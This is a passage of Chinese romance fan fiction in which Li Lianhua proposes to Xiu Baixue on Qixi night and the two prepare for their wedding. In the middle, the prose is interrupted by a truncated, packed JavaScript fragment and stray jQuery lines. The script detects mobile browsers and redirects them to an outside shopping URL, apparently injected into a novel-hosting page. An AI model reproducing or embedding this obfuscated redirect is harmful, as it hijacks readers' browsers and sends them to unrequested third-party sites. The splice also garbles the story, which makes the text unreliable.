转眼间,七夕至,暮色初垂,每家每户的灯笼次第亮起,层层叠叠,连绵不断,远远望去,仿佛星河醉落人间。一阵海风轻拂,灯影摇红,映着粼粼海波,分不清是岸上的灯海,还是水中的星潮。
袖白雪提着李莲花早已准备好的莲花灯,和李莲花一起漫步街上。
玩笑打闹的孩子们从身边跑过,带起一阵轻风,吹动裙角。迎面而来的少女,身着新衣,巧目流转,笑容羞涩又美好。随意和街边闲坐的老人打几声招呼,时不时和他们一同笑看执灯少年们腼腆又诚挚的表达。
“今夜月明人尽望,不知秋思落谁家。”
喧闹在此刻染上了温柔,这是两人最爱的满城烟火。
一晚上,李莲花和袖白雪兴致勃勃的跟随众人乞巧祈福,赏灯赏景,享受专属于七夕的欢愉与热闹。
夜色渐晚,两人带着愉悦又满足的笑容,穿过街道,将热闹甩在身后,踏上回家的路。
走在沙滩上,海边潮声起伏,静谧又安宁,让两人不禁想起了上次的月下舞剑与夜谈。
“小刀!”李莲花突然停住脚步,出声叫住自己身前正休闲漫步前行的袖白雪。
“嗯?”袖白雪闻言转身,抬眼望去,不解的偏偏头,整个人在月光下增添了几分娇俏与灵动。
李莲花蓦然想起了两人初见时,袖白雪那清冷如谪仙临世的样子,唇角微微上扬,缓步走近,声音轻缓如流水,不张扬,切字字入心。
“世人都爱七夕乞巧,盼良缘长久,一生安稳。我之前却只想孑然一身,不用承接沉重的爱意,不用辜负明亮的眼睛以及满心的期待,仿佛这样,才能不惊起一丝回响,才能自在轻盈。”
李莲花看向袖白雪,目光温柔宠溺,带着前所未有的认真。
一阵微风吹来,吹乱了袖白雪的鬓边发,吹动了袖白雪的心海。
“薰风自南至,吹我池上林。”
袖白雪一愣,仿佛想到了什么,瞳孔瞬间放大,心跳加速。
李莲花抬手轻轻拨一拨袖白雪的秀发,动作轻柔又带着万分珍重。
袖白雪一动不动,似怕惊扰了眼前光景。
李莲花脸上笑意加深,“可遇到你后,才知江湖漂泊,终有归处。”
“你——”一抹红霞悄悄爬上脸颊,染红了耳尖。
“小刀,我不求轰轰烈烈,只愿往后每一个七夕,都能与你共看星河,守这人间烟火。”
“我——”微微低头,羞赧与惊喜反复交织。
“小刀,若你愿意,我便以余生相聘,江湖路远,同你相伴。”
话音一落,一束又一束的烟花在空中绽放,星河随着烟花倾泻,映照着李莲花俊逸清雅的眉眼,更添了几分温柔与雅致。
这几年相处的片段快速在袖白雪脑中一一闪过,原来情不知所起,一往而深,看着李莲花将一颗最诚挚的心摆在自己面前,袖白雪眼中快速闪过一抹坚定,“我愿意!”。
李莲花眉眼弯弯,似有流光在眼中翻腾。
袖白雪上前轻轻抱住这个被喜悦、激动、幸福萦绕的男人,脸上的笑容越来越大,眼神里满是藏不住的幸福光芒,“往后朝暮,三餐四季,岁岁年年。”
李莲花回手紧紧拥住对方,此刻,空气中弥漫着腻死人的甜蜜气息。
“走吧,回家吧!”家这个字,从此刻开始,赋予了新的意义。
“对对对,赶紧回家,我好通知师娘抓紧时间准备三书六礼,还要通知无了和尚,算个吉祥的日子,对了,还有笛飞声,让他准备好贺礼,不贵重坚决不要……”
絮絮叨叨,但令人沉醉。
多年以后,袖白雪曾问过,为什么选择在那个时候表达心意。
李莲花笑着说:“本来想所有事情尘埃落定以后再提,但突然觉得,既然命运如此充满不确定性,那不如现在就去做想做的事,爱想爱的人。”
心意既明,日子照旧地过,只不过相比以前,默契里揉进了更暖的底色,一举一动,更是多了几分亲昵,一个默契的眼神,一个亲密的触碰,都让空气中始终带着一片心照不宣的温软。
一个阳光温暖的午后
袖白雪斜倚在院中的椅子里,手上握着一卷医书。日影透过枝叶,在她素净的衣袂上投下斑驳的光斑。手边的圆桌上,一盏清茶正袅袅地散着白汽,茶香四溢。四下无声,只余下指尖偶尔拂过纸页的沙沙轻响。
“小刀!”
清脆的声音打破了难得的静谧,袖白雪抬眼望去,只见穿着一身白袍红里素衣的李莲花逆着光向自己走来,阳光洒在对方身上,泛着柔和的金光。
袖白雪瞬间被迷了眼,嘴角下意识的扬起,声音也不自禁柔和了几分,“回来了?事情办好了?”
自从两人表明心意后,就几乎时时刻刻黏在一起,要不是今天这事确实需要李莲花亲自出面,估计自己也不会独自一人在这翻看医术。
“累死了!”李莲花快步来到袖白雪的身边坐下,端起桌上的茶杯直接喝了起来。
“李相夷可是从来不喊累!”知道对方装累想讨安慰,袖白雪忍不住打趣道。
“所以我是李莲花!”李莲花理直气壮的扬扬眉,将手中茶杯放回桌上,然后往袖白雪身边坐了坐,将头枕在袖白雪的肩上,语气黏黏糊糊又满是惆怅和心焦,“小刀,好想早点把你娶回家啊!”
“可以啊,你知道我不在意这些!”没吃过猪肉还没有见过猪跑啊,作为现代人,什么样的婚礼形式没见过,在袖白雪看来,只要人对,一切都不是问题。
其实袖白雪本身是个怕麻烦的人,不过,看李莲花如此期待,又亲力亲为,那点怕麻烦的心理也淡了下去,只剩下心安和期待。
“这怎么行,我想给你最好的!”袖白雪没有说什么,反倒是李莲花激动了起来。
“好好好!那准备得怎样了?”就知道会是这个样子,袖白雪能怎么样,只能宠着了。
“师娘说,还早呢,哎!纳采、问名、纳吉、纳征、请期和亲迎,得一步一步来,快则几个月,慢则几年。”每说一个步骤,李莲花就觉得有一支箭向自己刺来。
“今天才刚将大雁送到陈县令家!”坐直的身体又无力的斜了下去,眉头微皱,手指摩挲着下巴,忍不住思考要怎么来催进度。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300376|198585||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>之前李莲花会喊累,就是这纳彩的事情。
其实抓活雁对李莲花来说轻而易举,丝毫不费工夫,但耐不住某人追求完美,一会儿说这只大雁长得不够精神,一会儿又说那只大雁不合眼缘,忙活了一天,抓了几十只就是没有结果,要不是芩婆实在看不过去出声阻止,这大雁可能到现在都还没有搞定。
至于为什么会送到陈县令家,则是李莲花考虑到袖白雪在此地孤身一人,便请陈县令的夫人姜娘子以袖白雪的娘家人身份出面,帮忙准备婚礼的事情。好在两家关系一直很好,姜娘子本身也是个热心肠的人。
“真是辛苦了!”袖白雪好笑的捏捏李莲花的脸颊,颇有些惭愧,这些事自己确实好像帮不上什么忙。
想到这,袖白雪忍不住抬起双手,仔细翻看了几遍,眉头蹙起,不明白了,这么美这么灵活的一双手,既然能拿针点穴治病,怎么就没办法绣花呢。
袖白雪抬起头,看向李莲花:“李莲花,我想学绣艺!”
“啊?”李莲花一愣,对方补衣时刺红的手指,粗大仿佛蜈蚣一般的缝合口,瞬间从脑海飘过,忍不住噗嗤一声笑了出来。
袖白雪一个眼神刀过去。
李莲花赶紧故作镇定的咳嗽几声,收敛起脸上所有的笑容,义正言辞,“没必要吧,我可舍不得让袖神医一双治病救人的手来绣花!太浪费了!我们格局放大点,放大点!”
“……”袖白雪无语,懒得理旁边这人,开始琢磨这件事的可行性来。
说实话,袖白雪一直很心水碧凰他们的绣技,这可是非遗啊非遗!自己不求能做出婚服这么复杂又麻烦的衣服,只要能做点简单的衣服、荷包就心满意足。
“……”看袖白雪那下定决心的样子,李莲花有些无奈,没有再说什么,心里却暗自打算也要学上一学。
“对了,碧凰和西妃她们这段时间拒绝了所有客人的单子,正全心全意准备我们的婚服,听说,她们准备大干一场!”说到这,李莲花顿时觉得眼前无光,真心觉得全天下的人都在跟自己作对,想成个亲怎么这么难,“她们说,婚服至少需要两个月的时间!”
袖白雪闻言忍不住捂嘴直笑。
“小刀!”
“嗯?”
“你不是一直想四处走走吗?我们也有一段时间没有出去了,要不趁着这个时候,出去看看!”眼不见为净,出去走走也好,免得众人都觉得自己在添乱,话说,自己这是添乱吗?这是真着急啊,愁人。
“可以啊!”已有几波人来自己面前告状,希望自己看着点李莲花,袖白雪嘴角上扬,这不,自己还没有提呢。
“传闻石寿村有一种酒名柔肠玉酿,喝了能让人功力大增,我们去看看!如果这酒真不错,我们还可以买上一些婚礼上用!”
“那就要去见识见识了!能让人功力大增的酒,不知道和培元丹相比如何!”袖白雪闻言颇有些好奇。
“或许,我们也可以学一下酿酒!”李莲花觉得只要控制好效果,总比培元丹来得低调。
“这个可以有!”
“那我们明天就出发!”
“好!”